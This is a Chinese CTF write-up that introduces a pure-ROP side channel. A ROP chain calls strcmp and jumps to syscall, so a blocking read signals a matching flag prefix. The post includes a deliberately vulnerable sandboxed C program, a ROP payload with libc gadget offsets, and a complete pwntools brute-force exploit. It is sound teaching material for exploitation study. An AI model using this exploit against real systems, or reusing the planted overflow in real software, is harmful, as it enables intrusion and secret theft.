侧信道攻击的一种新方式(纯ROP实现侧信道)
heshi 发表于 陕西 历史精选 1568浏览 · 2024-11-12 12:47

侧信道攻击的一种新方式(纯ROP实现侧信道)

前言

此利用方法是我在做鹏城杯2024 vm时想到的,那题的沙箱与我的例题相同(可能作者是想到了这个利用方法才开了这样的沙箱),但网上没有使用ROP做侧信道的文章,我来写一篇,并附上自创的例题,弥补这一空白。

例题信息

例题使用的沙箱如下

其使用白名单,只保留了open,read。有or缺w,且无mprotect,并非常规的写shellcode做侧信道

例题源码

例题直接给了所需的一切,甚至直接将flag读入全局变量,只考察该新方式的利用,不添加任何使其复杂的元素

里面的大部分代码都是为开启沙箱做准备,想要学习沙箱规则可以搜索沙箱BPF规则

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>
#include <stddef.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>
#include <linux/bpf.h>

#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))

void Init_Sandbox() {



struct sock_filter filter[] = {
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 4),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 0),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 2, 0),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 1, 0),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};


    struct sock_fprog prog = {
        .len = (unsigned short)ARRAY_SIZE(filter),
        .filter = filter,
    };
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
        perror("prctl(PR_SET_NO_NEW_PRIVS) failed");
        return;
    }else if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != 0) {
        perror("prctl(PR_SET_SECCOMP) failed");
        return;
    }
}


char flag[0x40];
char your_flag[0x40];



void init()
{
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
}

void get_flag(int length)
{
    open("./flag",4);
    read(3,flag,length);

}

int main() {
    char s[0x20];
    init();
    printf("printf:%p\n",&printf);
    printf("flag:%p\n",&flag);
    printf("your_flag:%p\n",&your_flag);
    puts("Guess my flag!");
    read(0,your_flag,0x40);
    get_flag(strlen(your_flag));
    Init_Sandbox();
    read(0,s,0x200);
    return 0;
}

侧信道攻击的新方式

由于rop的自由度远小于shellcode,只能在gadget和函数层面构思

在某个清晨,我灵感迸发,想到了这个侧信道方式:

strcmp函数+ 系统调用

利用方式

通过ROP或者其他方式,在内存中写入自己猜测的flag和真实flag(在猜测过程中保证长度一致)

在ROP链中先调用strcmp函数,两个参数分别为自己猜测的flag和真实的flag。比较结束后调整寄存器,设置rdi为0,rsi为一个可写地址,rdx为一个正数,跳转到syscall

如果比较通过,那么最后会执行类似sys_read(0,s,0x100)的系统调用语句,在接收到输入之前会导致系统阻塞

判断程序在ROP链中是遇到阻塞还是直接退出,若遇到阻塞代表比较通过,直接退出代表比较失败

循环此过程,直到flag完全猜测出

利用原理

strcmp函数的性质:

对两个字符串的字符作差,比较两个字符串。遇到不为0的情况,或者比较结束就会返回,返回值会储存在rax

syscall性质:

使用rax作为系统调用号,rax处于不同值时,执行syscall会运行不同的系统调用

它们的关联点在于rax寄存器,它是储存函数返回值的寄存器,也是储存系统调用号的寄存器。

而rax=0代表字符串相等,同时rax=0代表需要执行系统调用sys_read。

read系统调用时我们的连接会阻塞,而不是直接断开,这可以作为一种侧信道信息,即:

我们可以通过能否再次输入,判断是否运行sys_read,从而推断出字符串是否完全相等

此方式存在的一些问题

能够阻塞程序的系统调用号有不少,比如说有可能触发sleep导致误判为比较通过

本题采用白名单,且白名单以内,只有read存在阻塞,所以不存在干扰

如果遇到干扰,由于flag的字符集有限

my_list = \
    [chr(i) for i in range(ord("a"),ord("z")+1)] +\
    [chr(i) for i in range(ord("A"),ord("Z")+1)]+\
    [chr(i) for i in range(ord("0"),ord("9")+1)]+\
    ["_","-", '{', '}']

我们可以缩小猜测范围,减小误判的风险

例题题解

题目直接以gift形式提供了libc地址、程序读取到的flag储存地址、用户可控的bss段地址。

并且直接白送了一个比较大的栈溢出,用于帮助选手使用侧信道攻击

结合该新新方法,编写ROP链如下,这里解释两个地址

#先传参,再调用strcmp比较字符串,随后调整寄存器,使rax为0时可以正确调用sys_read
payload=b"a"*0x28+p64(pop_rdi)+p64(my_flag_addr)+p64(pop_rsi)+p64(flag_addr)+p64(strcmp_addr)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(my_flag_addr+0x40)+p64(pop_rdx)+p64(1)
payload+=p64(syscall)

strcmp

strcmp是一个只使用字符串操作的函数,不涉及任何系统调用,所以哪怕是这种最严格的白名单也不会限制这个函数。

调用strcmp不可以使用以下写法

libc.sym['strcmp']

我一开始也犯了这个错误,但gdb调试之后发现不对劲,进入libc就明白了,libc中的strcmp不是用于比较字符串的功能函数,而是一个预筛选函数,会根据需要比较的字符串,选择最高效的比较函数,它的返回值是一个函数指针,必定会导致利用失败,解决方法为选用j_strcmp函数或者strcmp函数中的四个功能函数任意一个。

syscall

这个指令可以直接使用ROPgadget搜索,也可以使用ida打开libc后搜索

小tip

当我们成功构造ROP链,通过输入相同的字符串,触发一次read时,接下来只需要将这段exp集成成一个函数,用来检验flag是否正确,pwn方向的任务就已经完成,剩下的就是python编程。

remote和process对象的recv等方法都会由于程序结束而抛出异常,但设置timeout,由于timeout结束接收不会抛出异常,可以借助这一点来鉴别程序的存活与否,进而判断阻塞,判断flag是否正确。但要注意,一定要在recv之前将输出接收干净,不然不会抛出异常。翻阅pwntools的交互,只发现了这一个方法可以鉴别程序是否阻塞,如果有读者发现了更优雅的方式可以评论一下。

判断程序是否处于阻塞:

try:
        p.recv(5,timeout=1)
        p.close()
        return True
    except:
        p.close()
        return False

exp

from pwn import *
from std_pwn import *
#log_level="debug",
context(os='linux', arch='amd64', terminal=['tmux','splitw','-h'])
libc=ELF("./libc-2.31.so")

def try_flag(flag):
    p=getProcess("10.81.2.238",10058,"./vuln")
    ru("printf:")
    libc_base=int(rl()[:-1],16)-0x61C90
    ru("flag:")
    flag_addr=int(rl()[:-1],16)
    ru("your_flag:")
    my_flag_addr=int(rl()[:-1],16)
    log(libc_base)
    log(flag_addr)
    log(my_flag_addr)
    pop_rax=0x36174+libc_base
    pop_rdi=0x23b6a+libc_base
    pop_rsi=0x2601f+libc_base
    pop_rdx=0x142c92+libc_base

    gdba()
    sa("Guess my flag!\n",flag)
    payload=b"a"*0x28+p64(pop_rdi)+p64(my_flag_addr)+p64(pop_rsi)+p64(flag_addr)+p64(0xAA3B0+libc_base)
    payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(my_flag_addr+0x40)+p64(pop_rdx)+p64(1)+p64(0x630A9+libc_base)
    sl(payload)
    try:
        p.recv(5,timeout=1)
        p.close()
        return True
    except:
        p.close()
        return False


flag="flag"
my_list = [chr(i) for i in range(ord("a"),ord("z")+1)] +\
    [chr(i) for i in range(ord("A"),ord("Z")+1)]+\
    [chr(i) for i in range(ord("0"),ord("9")+1)]+\
    ["_","-", '{', '}']
while 1:
    if flag[-1]=="}":
            break
    for c in my_list:
        if try_flag(flag+c):
            flag+=c
            print("Success!!!Now,flag:"+flag)
            sleep(1)
            break
        else:
            print(c+" flase")

print(flag)

攻击效果

复现资料已上传附件,打侧信道爆破看着数据一位一位出来真的很爽。

附件:
1 条评论
某人
表情
可输入 255
1373647436048784
2024-12-24 01:15 广东 0 回复

师傅有其它附件吗?有的话麻烦发我一份全部pwn的附件到邮箱呗:3156063554@qq.com